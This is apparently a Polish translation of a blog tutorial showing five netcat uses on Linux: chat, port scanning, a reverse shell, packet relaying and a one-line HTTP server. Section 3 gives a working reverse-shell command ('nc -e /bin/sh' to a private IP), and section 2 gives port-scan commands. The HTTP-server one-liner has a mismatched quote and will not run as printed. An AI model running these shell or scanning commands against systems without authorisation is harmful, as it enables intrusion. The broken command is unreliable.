5 prostych i łatwych zastosowań Netcat w systemie Linux

5 prostych i łatwych zastosowań Netcat w systemie Linux

Netcat to potężne narzędzie sieciowe wiersza poleceń w systemie Linux, które może wysyłać i nasłuchiwać pakietów TCP i UDP. W przeciwieństwie do innych narzędzi sieciowych, netcat jest niezwykle prosty. Jednak jego prostota pozwala również na wykonywanie prawie każdego rodzaju czynności w sieci.

Ten artykuł pokaże Ci 5 prostych zadań sieciowych, które możesz wykonać za pomocą netcat. Co więcej, w tym artykule podkreślimy również, co sprawia, że ​​netcat jest wyjątkowy i dlaczego powinieneś włączyć go do swojego zestawu narzędzi Linux.

Jak działa Netcat i dlaczego go używać?

Netcat to podstawowe narzędzie, które może wysyłać i odbierać pakiety sieciowe. Po raz pierwszy został wydany w 1995 roku przez programistę o pseudonimie Hobbit. Od tego czasu netcat jest ważną częścią każdej dystrybucji Linuksa.

W swej istocie netcat działa poprzez wysyłanie żądań sieciowych z jednego hosta Linux do drugiego. To żądanie sieciowe może zawierać dane dowolnego typu i można je wysłać na dowolnym porcie.

Terminal pokazujący prosty transfer tekstu za pomocą netcat.

Takie podejście oznacza, że ​​netcat może stworzyć każdy możliwy rodzaj połączenia sieciowego. Na przykład program może tworzyć bezpośrednie połączenia TCP, których można używać do przesyłania plików lub tworzenia odwrotnych sesji powłoki .

Pulpit przedstawiający prosty transfer plików między dwoma hostami z systemem Linux za pomocą netcat.
Źródło obrazu: Pedro Lastra przez Unsplash .

1. Sesja czatu peer-to-peer

Jednym z najbardziej podstawowych zastosowań netcat jest prosta sesja czatu peer-to-peer między dwoma komputerami z systemem Linux. Jest to metoda komunikacji, która nie polega na wysyłaniu i odbieraniu informacji przez serwer strony trzeciej.

  • Aby to zadziałało, musisz otworzyć port między 49152 a 65536 na komputerze lokalnym. W tym miejscu zdalny host będzie mógł połączyć się i wysłać dowolne informacje do twojego komputera.

sudo ufw allow 50000

  • Musisz także otworzyć inny port na zdalnym hoście, aby komputer mógł wysyłać do niego informacje:

sudo ufw allow 50001

  • Uruchom netcatna swoim komputerze z następującymi argumentami:

nc -lp 50000

Spowoduje to otwarcie sesji netcat, która aktywnie nasłuchuje danych na porcie 50000.

  • Zdalny host może teraz wysyłać dowolne dane tekstowe do komputera lokalnego. Na przykład następujące polecenie wyśle ​​standardowe wejście systemu do zdalnej maszyny.

cat - | nc 192.168.122.136 50000

Terminal pokazujący standardowy monit o wprowadzenie podstawowego czatu netcat.
  • Aby odpowiedzieć na wiadomość, zdalny host musi również uruchomić demona nasłuchującego:

nc -lp 50001

  • Teraz możesz również wysłać wiadomość z komputera lokalnego do zdalnego hosta:

cat - | nc 192.168.122.177 50001

Terminal pokazujący dwa wirtualne terminale do pełnodupleksowego czatu netcat.

2. Podstawowy skaner portów

Skaner portów to proste narzędzie, które sprawdza, czy zestaw portów w komputerze jest dostępny ze zdalnego hosta. Jest to bardzo przydatne w przypadkach, gdy nie jesteś pewien, czy twój system ma otwarte odpowiednie porty.

Aby sprawdzić pojedynczy port, możesz uruchomić, nc -va następnie adres IP i port, który chcesz sprawdzić:

nc -v 192.168.122.177 80

Terminal pokazujący podstawowe skanowanie portu w poszukiwaniu portu 80.

Możesz także podać zakres liczb, w których netcat będzie kolejno sprawdzał każdy numer portu w tym zakresie. Na przykład uruchomienie następującego polecenia spowoduje skanowanie w poszukiwaniu wszystkich otwartych „dobrze znanych” portów:

nc -v 192.168.122.177 1-1024

Terminal pokazujący zbiorcze skanowanie w poszukiwaniu

Jedną z wad zapytań o porty jest to, że generują one niepotrzebny ruch sieciowy. Może to stanowić problem, jeśli testujesz duży zakres portów w małej sieci domowej.

Aby to naprawić, włącz tryb „Zero I/O” netcat, który nie tworzy żadnej aktywności sieciowej na zdalnym hoście:

nc -zv 192.168.122.177 1-1024

Terminal pokazujący zerowe skanowanie portów IO za pomocą netcat.

3. Odwrócona skorupa

Odwrotne powłoki są chlebem powszednim testów penetracyjnych w systemie Linux. Są to zdalne instancje powłoki, które pozwalają kontrolować system nawet bez otwartych portów przychodzących. To sprawia, że ​​​​odwrotne powłoki są przydatne, jeśli potrzebujesz dostępu do maszyny, która nie ma dostępu SSH.

  • Aby utworzyć odwróconą powłokę, musisz otworzyć demona nasłuchującego na komputerze lokalnym:

nc -lp 50000

  • Uruchom połączenie netcat na zdalnym komputerze. W takim przypadku musisz również przekazać środowisko powłoki zdalnej maszyny:

nc -e /bin/sh 192.168.122.136 50000

  • Wróć do komputera lokalnego i uruchom polecenie powłoki. Na przykład uruchomienie lsspowoduje wydrukowanie bieżącego katalogu zdalnego użytkownika.

ls -la

Terminal pokazujący wynik udanej odwrotnej powłoki.
  • Aby zakończyć sesję odwrotnej powłoki, możesz nacisnąć Ctrl+ Cna demonie nasłuchiwania komputera lokalnego.
Terminal pokazujący zamknięcie odwrotnej powłoki na lokalnej maszynie.

4. Podstawowy przekaz pakietów

Oprócz bezpośredniego odczytu i zapisu do strumienia sieciowego, możesz także użyć netcat do przekierowania połączenia przychodzącego do dowolnego portu wychodzącego. Działa to poprzez łączenie wielu sesji nasłuchiwania i klienta netcat za pomocą potoków UNIX.

  • Utwórz sesję netcat, która nasłuchuje na porcie 50000. Będzie to służyć jako port wychodzący dla twojego podstawowego przekaźnika:

nc -lv localhost 50000

  • Otwórz nowy terminal i uruchom następujące polecenie:

nc -lv localhost 50001 | nc localhost 50000

Spowoduje to utworzenie nowego demona nasłuchującego na porcie 50001 i automatycznie przekieruje wszystkie pakiety na tym porcie do portu 50000.

Terminal pokazujący połączenie tranzytowe między dwoma portami.
  • Możesz teraz wysyłać dane do portu przychodzącego, a netcat automatycznie przekieruje dane wyjściowe do portu wychodzącego.

echo "MakeTechEasier"| nc localhost 50001

Terminal przedstawiający działanie podstawowego przekaźnika pakietów.
  • Oprócz portów lokalnych możesz także użyć tej funkcji do przekierowania ruchu sieciowego na inną maszynę. Na przykład poniższy kod wysyła dane przez port 50000 do tego samego portu w innym systemie:

nc -lv localhost 50000 | nc 192.168.122.177 50000

Terminal przedstawiający podstawowe przekazywanie pakietów między dwoma hostami.

5. Podstawowy serwer HTTP

Konfigurowanie serwera HTTP może być złożonym procesem, nawet jeśli chcesz wyświetlać tylko jedną stronę. Pod tym względem netcat może również służyć jako prosty statyczny serwer WWW, który można uruchomić w systemie Linux bez instalowania żadnych dodatkowych narzędzi.

  • Utwórz podstawowy plik odpowiedzi HTTP. Poniższy fragment kodu wyświetla stronę internetową z prostym komunikatem:

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Server: netcat!

<!doctype html>
<html>
<body>
<h1>Hello MakeTechEasier!</h1>
</body>
</html>

  • Zapisz go jako „index.http” w swoim katalogu domowym.
Terminal pokazujący strukturę prostej odpowiedzi HTTP.
  • Uruchom następujące polecenie:

while true; do { echo -e 'cat /home/$USER/index.http; } | nc -lv localhost 8080; done

Terminal pokazujący uruchomiony prosty serwer sieciowy netcat.

Masz teraz działający serwer WWW. Możesz odwiedzić swoją stronę internetową, otwierając przeglądarkę internetową i przechodząc do http://localhost:8080.

Zrzut ekranu przedstawiający działający serwer WWW Netcat obsługujący stronę internetową.
  • Naciśnij Ctrl+ Cna terminalu, aby wyjść z bieżącej sesji serwera WWW.
Terminal pokazujący proces zamykania podstawowego serwera sieciowego netcat.

Często Zadawane Pytania

Nie mogę połączyć się ze zdalną maszyną za pomocą netcat.

Ten problem jest najprawdopodobniej spowodowany zablokowaniem portu zapory na komputerze zdalnym. Musisz upewnić się, że port, którego używasz w swoim komputerze, jest otwarty zarówno dla połączeń przychodzących, jak i wychodzących. Na przykład musisz uruchomić, sudo ufw allow 49999jeśli chcesz użyć portu 49999 na komputerze zdalnym.

Czy można połączyć się z dowolnym hostem za pomocą netcat?

Nie. Chociaż netcat może odczytywać i zapisywać dowolny strumień sieciowy, nie może połączyć się z maszyną, której nie można wykryć w sieci twojego systemu. Należą do nich sieci prywatne, które nie mają włączonego przekierowania portów, a także systemy typu air-gap, które nie mają dostępu do sieci.

Czy można sfałszować połączenie w netcat?

Nie. Dzieje się tak, ponieważ netcat może wysyłać i odbierać pakiety tylko z prawidłowego interfejsu sieciowego. Możesz jednak zmienić miejsce, z którego pochodzi ten konkretny pakiet, jeśli masz wiele interfejsów sieciowych.

Na przykład możesz uruchomić, nc -l -s 10.0.0.2 -p 50000aby powiedzieć netcatowi, aby jawnie wysyłał pakiety za pomocą interfejsu, który ma adres IP „10.0.0.2”.

Źródło obrazu: ThisisEngineering RAEng przez Unsplash . Wszystkie przeróbki i zrzuty ekranu autorstwa Ramces Red.

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *